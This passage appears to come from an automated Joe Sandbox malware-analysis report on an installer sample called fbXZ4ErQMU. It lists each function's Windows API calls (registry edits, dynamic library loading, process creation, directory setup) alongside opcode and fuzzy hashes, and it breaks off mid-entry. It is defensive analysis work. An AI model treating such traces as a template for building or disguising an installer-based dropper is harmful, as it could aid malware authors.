Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: c08e85f7896b9a4561d683b23b3b2dae21a167d845191f4bc040fadce0444681
Instruction ID: 1e980c0bf3dfe1ee8e8c0bbb525d6a304c4f3a3ada6f962fb42c7dde8bd75a6e
Opcode Fuzzy Hash: c08e85f7896b9a4561d683b23b3b2dae21a167d845191f4bc040fadce0444681
Instruction Fuzzy Hash: C6215771900108BBEF129F90CE89EEE7A7DEF44344F100076FA55B11E0E7B48E54AA68

Function 700516DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70051A98: GlobalFree.KERNEL32(?), ref: 70051D09
Part of subcall function 70051A98: GlobalFree.KERNEL32(?), ref: 70051D0E
Part of subcall function 70051A98: GlobalFree.KERNEL32(?), ref: 70051D13

GlobalFree.KERNEL32(00000000), ref: 70051786
FreeLibrary.KERNEL32(?), ref: 70051809
GlobalFree.KERNEL32(00000000), ref: 7005182E

Part of subcall function 700522AF: GlobalAlloc.KERNEL32(00000040,?), ref: 700522E0

Part of subcall function 700526B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,70051757,00000000), ref: 70052782

Part of subcall function 7005156B: wsprintfA.USER32 ref: 70051599

Strings

, xrefs: 7005180F

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 74d264be3acc0ff3ddf3b9d5b3b2c498ee5243e77ac3306cf438367050bb8a8d
Instruction ID: 94e37f4e4c63967d7a1ccbbf8fdf410192ea944ff3c9f224f8014d05c47700a5
Opcode Fuzzy Hash: 74d264be3acc0ff3ddf3b9d5b3b2c498ee5243e77ac3306cf438367050bb8a8d
Instruction Fuzzy Hash: BF417F721042089EDB019B78CD85FDE37FDBF09A34F248469E9069A296DF74994DCBA0

Function 00401C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C9E
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CB6

Strings

!, xrefs: 00401C6A

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b3808b2228016cded034fddbbda71ccd0a5c26c3e8a9a8fe6146862fd49d124c
Instruction ID: ba3ca6c87ae36af76b9178a01453159e8aa8f3f4b54328e0dc7fa76aa85262fd
Opcode Fuzzy Hash: b3808b2228016cded034fddbbda71ccd0a5c26c3e8a9a8fe6146862fd49d124c
Instruction Fuzzy Hash: 10216071A44208BEEB05AFB5D98AAAD7FB4EF44304F20447FF502B61D1D6B88541DB28

Function 00402476 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp,00000023,00000011,00000002), ref: 004024C1
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp,00000000,00000011,00000002), ref: 00402501
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp,00000000,00000011,00000002), ref: 004025E5

Strings

C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp, xrefs: 004024B2, 004024D4, 004024EB, 004024F6

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp
API String ID: 2655323295-591759650
Opcode ID: 7a7c23c04c90be8b3e585445916e0e680a3a1629c3414f9b9df94d306a1b16c3
Instruction ID: f8068cdfa95035626473adca5f51816a5c1db3e2bbb00f719c7efdf62c59a762
Opcode Fuzzy Hash: 7a7c23c04c90be8b3e585445916e0e680a3a1629c3414f9b9df94d306a1b16c3
Instruction Fuzzy Hash: 12118171E00218AFEF10AFA59E89EAE7A74EB44314F20443BF505F71D1D6B99D419B28

Function 0040209D Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 004020C8

Part of subcall function 0040521E: lstrlenA.KERNEL32(0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 00405257
Part of subcall function 0040521E: lstrlenA.KERNEL32(00403233,0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 00405267
Part of subcall function 0040521E: lstrcatA.KERNEL32(0042A070,00403233,00403233,0042A070,00000000,00424248,75A523A0), ref: 0040527A
Part of subcall function 0040521E: SetWindowTextA.USER32(0042A070,0042A070), ref: 0040528C
Part of subcall function 0040521E: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052B2
Part of subcall function 0040521E: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004052CC
Part of subcall function 0040521E: SendMessageA.USER32(?,00001013,?,00000000), ref: 004052DA

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 004020D8
GetProcAddress.KERNEL32(00000000,?), ref: 004020E8
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402152

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 2b161932b8e15f20ea054abb7da5fd45cac2ee1996f8da02ed958f71ebdc799e
Instruction ID: f7200b9d034bcb950a45a2beb12b39e5fe5f048be62c56950c98b25cd9e943c1
Opcode Fuzzy Hash: 2b161932b8e15f20ea054abb7da5fd45cac2ee1996f8da02ed958f71ebdc799e
Instruction Fuzzy Hash: 7A21C932600115EBCF207FA58F49A5F76B1AF14359F20423BF651B61D1CABC89829A5E

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405B28: CharNextA.USER32(?,?,0042BC98,?,00405B94,0042BC98,0042BC98,75A53410,?,C:\Users\user\AppData\Local\Temp\,004058DF,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B36
Part of subcall function 00405B28: CharNextA.USER32(00000000), ref: 00405B3B
Part of subcall function 00405B28: CharNextA.USER32(00000000), ref: 00405B4F

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004056E4: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405727

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\tranchet\Trykmaalere,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\tranchet\Trykmaalere, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\tranchet\Trykmaalere
API String ID: 1892508949-2736763094
Opcode ID: 6f48d1f4569c46ba79332d618e5f2744522d6a7c4d3c9928c8ba38f6ac20f072
Instruction ID: 2360f0c6ce39ff042ef5b5b007943225e6ab3dc636003d735fb75761c746189e
Opcode Fuzzy Hash: 6f48d1f4569c46ba79332d618e5f2744522d6a7c4d3c9928c8ba38f6ac20f072
Instruction Fuzzy Hash: C1110431204141EBCB307FB55D419BF37B09A52725B284A7FE591B22E3DA3D4943AA2E

Function 00405FDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,00000400,Call,0042A070,?,?,?,00000002,Call,?,00406293,80000002), ref: 00406024
RegCloseKey.KERNELBASE(?,?,00406293,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,?,0042A070), ref: 0040602F

Strings

Call, xrefs: 00405FE1, 00406015

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction ID: 43fb42cdfa68b2f9ef01d23c83e90927a4e1ed7766022ad00d18a88e1c3f91d6
Opcode Fuzzy Hash: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction Fuzzy Hash: 9F01BC72100209ABCF22CF20CC09FDB3FA9EF45364F00403AF916A2191D238C968CBA4

Function 00405796 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C098,Error launching installer), ref: 004057BF
CloseHandle.KERNEL32(?), ref: 004057CC

Strings

Error launching installer, xrefs: 004057A9

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: de0eed9ff358aa0300570f89c8dde483a6f9bec5cddf33796de70880124f880f
Instruction ID: 4c3df7556a0b034395016ee82922b733160aa74f7bc511f6187c6ec266d632ef
Opcode Fuzzy Hash: de0eed9ff358aa0300570f89c8dde483a6f9bec5cddf33796de70880124f880f
Instruction Fuzzy Hash: 4DE0B6B4600209BFEB109BA4ED89F7F7BBCEB04604F504525BE59F2290E67498199A7C

Function 00401B87 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401BF6
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401C08

Strings

Call, xrefs: 00401BAE, 00401BB4, 00401BCE

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 4f6e99611feb600a1a309dae17313cb646ed486db5988612a5590cb9f56acaba
Instruction ID: e4cc8bcb7752a4f6b3811e2611bd1e0fa57f8e281b648bd21e3e74c9503b19de
Opcode Fuzzy Hash: 4f6e99611feb600a1a309dae17313cb646ed486db5988612a5590cb9f56acaba
Instruction Fuzzy Hash: 74219673644101EBDB20EB65DE88E5E73E8EB44318711413BF602B72D1DB78D8529B5D

Function 00402588 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025BA
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 004025CD
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp,00000000,00000011,00000002), ref: 004025E5

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 7b99555fd6f8dae37ea9679ab54f9e8123d87756e6997b06f3b56209368cff92
Instruction ID: ee0fd62ac357f9525b55a30647733f0e3798e9bebba0400de635a53faed38b57
Opcode Fuzzy Hash: 7b99555fd6f8dae37ea9679ab54f9e8123d87756e6997b06f3b56209368cff92
Instruction Fuzzy Hash: 22017C71604204FFE7219F549E99ABF7ABCEF40358F20403EF505A61C0DAB88A459629

Function 00402516 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402546
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp,00000000,00000011,00000002), ref: 004025E5

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 6213eafd8b46f955f614869397e07eb9b1fadeed980eca135cc1a2a492507a25
Instruction ID: 101e8c123746c764c526cee79e76b60048690b918ccacca24166b7bb3c1ff757
Opcode Fuzzy Hash: 6213eafd8b46f955f614869397e07eb9b1fadeed980eca135cc1a2a492507a25
Instruction Fuzzy Hash: EA11C171A00205EFDF25DF64CE985AE7AB4EF00355F20843FE446B72C0D6B88A86DB19

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c8a7ffa28b32ff67f29a84afd2625c26bb9c758fd8177903822af55b1e7359ed
Instruction ID: 5c958b1953f7fe6cfac6f5d6f257cc34f78b067395a477e057d2c1298905e336
Opcode Fuzzy Hash: c8a7ffa28b32ff67f29a84afd2625c26bb9c758fd8177903822af55b1e7359ed
Instruction Fuzzy Hash: F801D1317242209BE7195B79DD08B6A3698E710718F50823AF851F61F1DA78DC129B4D

Function 00402421 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402442
RegCloseKey.ADVAPI32(00000000), ref: 0040244B

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 07b32314aa9a422e600aa3f6776080c68f979d551996adedd097d7eb0a26439f
Instruction ID: 28034f9d49707e31730e5ee4ae5769526bd8744af0d0927f07882998c216e066
Opcode Fuzzy Hash: 07b32314aa9a422e600aa3f6776080c68f979d551996adedd097d7eb0a26439f
Instruction Fuzzy Hash: E3F09632600121DBE720BFA49B8EAAE72A59B40314F25453FF602B71C1D9F84E4246AE

Function 00401EC5 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EE3
EnableWindow.USER32(00000000,00000000), ref: 00401EEE

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 8b7817ca22b79e9cee4aa1cb1be03623fa11f3862aed9c5f3b00cb70b3c6cfe0
Instruction ID: 2686c2d45ba130581374544c13beebfcaf73fd10f5aa92b185336ae358fe78f7
Opcode Fuzzy Hash: 8b7817ca22b79e9cee4aa1cb1be03623fa11f3862aed9c5f3b00cb70b3c6cfe0
Instruction Fuzzy Hash: 69E09232B04200EFD714EFA5EA8856E7BB0EB40325B20413FF001F20C1DAB848418A69

Function 00406500 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,004033BB,0000000B), ref: 00406512
GetProcAddress.KERNEL32(00000000,?), ref: 0040652D

Part of subcall function 00406492: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004064A9
Part of subcall function 00406492: wsprintfA.USER32 ref: 004064E2
Part of subcall function 00406492: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004064F6

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 86a36fe79f27c55ffb4f68e9eb19a7d4fc21bb30cdd0e1b9c8c3d4c34093b0ac
Instruction ID: acae0596759e2787f84b09bdc6f4b17f60683fab7501ae0ee02ebffea3798694
